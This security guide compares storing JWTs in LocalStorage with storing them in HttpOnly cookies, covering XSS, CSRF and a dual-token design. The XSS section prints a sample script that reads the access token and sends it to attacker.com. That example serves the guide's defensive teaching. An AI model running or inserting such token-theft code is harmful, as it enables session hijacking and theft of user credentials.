
Where Should You Store JWTs? LocalStorage vs Cookies Security Guide
JSON Web Tokens (JWT) are the industry standard for securing stateless web sessions. However, once your backend authentication server issues a JWT to the client browser, a critical security decision must be made: Where should you store the token?
Frontend developers frequently choose LocalStorage for its simplicity, while security engineers insist on HttpOnly Cookies.
This choice is not about convenience; it defines your application's vulnerability profile to two severe client-side exploits: Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF).
In this guide, we will analyze these storage models, explore their vulnerabilities, and configure a secure session pipeline.
1. Storing JWT in LocalStorage
Storing a token in LocalStorage is straightforward. When the client receives the JWT from the login API, they write:
localStorage.setItem('accessToken', token);On subsequent requests, the client reads the token and appends it to the HTTP Authorization header:
const token = localStorage.getItem('accessToken');
const headers = { Authorization: `Bearer ${token}` };The Vulnerability: Cross-Site Scripting (XSS)
LocalStorage is accessible by any JavaScript code running on the same domain.
If your site contains a single XSS vulnerability (e.g., an unescaped comment input, a compromised third-party analytics script, or a malicious npm dependency), an attacker can execute a script to steal the token and send it to their server:
// Malicious script executed via XSS
const stolenToken = localStorage.getItem('accessToken');
fetch(`https://attacker.com/steal?token=${stolenToken}`);Once stolen, the attacker can hijack the user's session from any device globally until the token expires.
2. Storing JWT in Cookies
Cookies are data packets sent automatically by the browser in HTTP request headers to the domain that set them.
To secure a JWT inside a Cookie, your backend server must configure specific flags when setting the Set-Cookie header in the HTTP response:
Set-Cookie: token=YOUR_JWT_VALUE; Secure; HttpOnly; SameSite=Strict;The Security Flags Explained
HttpOnly(XSS Immunity): This is the most critical flag. It tells the browser that the cookie cannot be read by client-side JavaScript (viadocument.cookie). If an attacker executes an XSS payload, they still cannot access or steal your token.Secure: Enforces the browser to transmit the cookie strictly over encrypted HTTPS connections, preventing network sniffing.SameSite=StrictorLax(CSRF Protection): Restricts the browser from attaching the cookie to cross-origin requests (e.g., if a user clicks a malicious link onphishing.comleading to your domain, the cookie is withheld, blocking the request).
The Vulnerability: Cross-Site Request Forgery (CSRF)
If an attacker embeds a form on a malicious site pointing to your API (e.g., POST yourbank.com/transfer), and the user is logged in, the browser will automatically attach the authentication cookie.
- The Fix: Setting the
SameSite=LaxorSameSite=Strictcookie attribute blocks cross-origin cookie transfers natively in modern browsers.
Storage Comparison Matrix
| Security Threat | LocalStorage | HttpOnly Cookie |
| XSS Token Theft | Highly Vulnerable | Immune (JS cannot read key) |
| CSRF Exploits | Immune (Requires manual JS header additions) | Vulnerable (Prevented via SameSite flags) |
| JS Accessibility | Accessible | Inaccessible |
| Implementation Complexity | Minimal | Moderate (requires backend configuration) |
The Best Practice Solution: Dual-Token Architecture
To combine the benefits of both storage strategies:
- Access Token (Short-lived): Set the Access Token expiration to 15 minutes. Store it inside in-memory React/Vue state. It is accessible by your application for API calls but is wiped on tab closes, making it difficult to steal persistently.
- Refresh Token (Long-lived): Set the Refresh Token expiration to 7 days. Store it inside a secure
HttpOnlyCookie bound to the/api/refreshendpoint. - Silent Authentication: When the short-lived access token expires, the client makes a background request to
/api/refresh. The browser automatically sends the HttpOnly refresh cookie, and the server returns a new short-lived access token to application memory.
Conclusion
Never store long-lived tokens in LocalStorage, as it exposes user sessions to XSS theft. The most secure architecture for production web applications is storing access tokens in application memory and using secure, HttpOnly, SameSite-strict cookies to manage refresh tokens, shielding your system from both XSS and CSRF exploits.